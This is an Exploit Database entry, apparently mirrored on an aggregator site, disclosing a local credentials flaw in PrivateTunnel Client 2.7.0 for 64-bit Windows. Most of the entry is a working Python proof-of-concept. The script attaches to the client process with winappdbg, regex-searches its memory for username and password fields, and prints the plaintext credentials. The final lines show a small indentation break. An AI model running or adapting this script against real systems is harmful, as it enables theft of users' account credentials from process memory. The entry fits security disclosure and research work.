PrivateTunnel Client 2.7.0 (x64) – Local Credentials Disclosure

• Exploit Database
• 17 阅读

• 作者： Yakir Wizman
  日期： 2016-09-14
• 类别：

  • local
  平台：

  • windows_x86-64
• 来源：https://www.exploit-db.com/exploits/40380/

• #####
  # PrivateTunnel Client v2.7.0 (x64) Local Credentials Disclosure After Sign out Exploit
  # Tested on Windows Windows 7 64bit, English
  # Vendor Homepage 	@ https://www.privatetunnel.com
  # Date 14/09/2016
  # Bug Discovery by:
  #
  # Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
  # http://www.black-rose.ml
  #
  # Viktor Minin (https://www.linkedin.com/in/MininViktor)
  # https://1-33-7.com/
  #
  #####
  # PrivateTunnel Client v2.7.0 is vulnerable to local credentials disclosure after the user is logged out.
  # It seems that PrivateTunnel does store the supplied credentials while the user is logged in and after sign out in a plaintext format in memory process.
  # A potential attacker could reveal the supplied username and password in order to gain access to PrivateTunnel account.
  #
  # Authors are not responsible for any misuse or demage which caused by use of this script code.
  # Please use responsibly.
  #####
  # Proof-Of-Concept Code:
  
  import time
  import urllib
  from winappdbg import Debug, Process
  
  usr			= ''
  pwd			= ''
  found		= 0
  filename 	= "privatetunnel2.7.0.exe"
  process_pid = 0
  memory_dump	= []
  
  debug = Debug()
  try:
  	print "###########################################################################"
  	print "# PrivateTunnel v2.7.0 Local Credentials Disclosure Exploit After Sign out#"
  	print "#\t\tBug Discovery by Yakir Wizman, Victor Minin\t\t#"
  	print "#\t\tTested on Windows Windows 7 64bit, English\t\t#"
  	print "#\t\t\tPlease use responsibly.\t\t\t\t#"
  	print "###########################################################################\r\n"
  	print "[~] Searching for pid by process name '%s'.." % (filename)
  	time.sleep(1)
  	debug.system.scan_processes()
  	for (process, process_name) in debug.system.find_processes_by_filename(filename):
  		process_pid = process.get_pid()
  	if process_pid is not 0:
  		print "[+] Found process with pid #%d" % (process_pid)
  		time.sleep(1)
  		print "[~] Trying to read memory for pid #%d" % (process_pid)
  		
  		process = Process(process_pid)
  		
  		user_pattern = '\x20\x22\x70\x61\x73\x73\x77\x6F\x72\x64\x22\x20\x3A\x20\x22(.*)\x22\x2C\x0A\x20\x20\x20\x22\x75\x73\x65\x72\x6E\x61\x6D\x65\x22\x20\x3A\x20\x22(.*)\x22\x0A'
  		for address in process.search_regexp(user_pattern):
  			memory_dump.append(address)
  		
  		try:
  			usr = memory_dump[0][2].split('"username" : "')[1].replace('"\n', '')
  			pwd = memory_dump[0][2].split('"password" : "')[1].split('",')[0]
  		except:
  			pass
  		print ""
  		if usr != '' and pwd !='':
  			found = 1
  			print "[+] PrivateTunnel Credentials found!\r\n----------------------------------------"
  			print "[+] Username: %s" % usr
  			print "[+] Password: %s" % pwd
  		if found == 0:
  			print "[-] Credentials not found!"
  
  	else:
  		print "[-] No process found with name '%s'." % (filename)
  	
  	debug.loop()
  finally:
  debug.stop()